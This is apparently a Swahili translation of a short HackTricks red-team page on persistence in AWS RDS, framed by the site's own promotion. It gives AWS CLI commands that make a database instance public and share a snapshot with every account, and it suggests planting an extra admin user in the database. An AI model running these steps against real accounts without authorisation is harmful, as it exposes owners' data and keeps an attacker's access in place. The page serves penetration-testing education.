AWS - RDS Persistence

Jifunze na kufanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Jifunze na kufanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Angalia mipango ya usajili!

• Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @hacktricks_live.

• Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwenye HackTricks na HackTricks Cloud github repos.

RDS

Kwa maelezo zaidi angalia:

AWS - Relational Database (RDS) Enum

Fanya instance ipatikane hadharani: rds:ModifyDBInstance

Mshambuliaji mwenye ruhusa hii anaweza kubadilisha instance ya RDS iliyopo ili kuwezesha upatikanaji wa hadharani.

aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately

Unda mtumiaji admin ndani ya DB

Mshambulizi anaweza tu kuunda mtumiaji ndani ya DB ili hata kama nenosiri la watumiaji wakuu limebadilishwa hapotezi ufikiaji wa hifadhidata.

Fanya snapshot kuwa ya umma

aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Angalia mipango ya usajili!

• Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @hacktricks_live.

• Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwenye HackTricks na HackTricks Cloud github repos.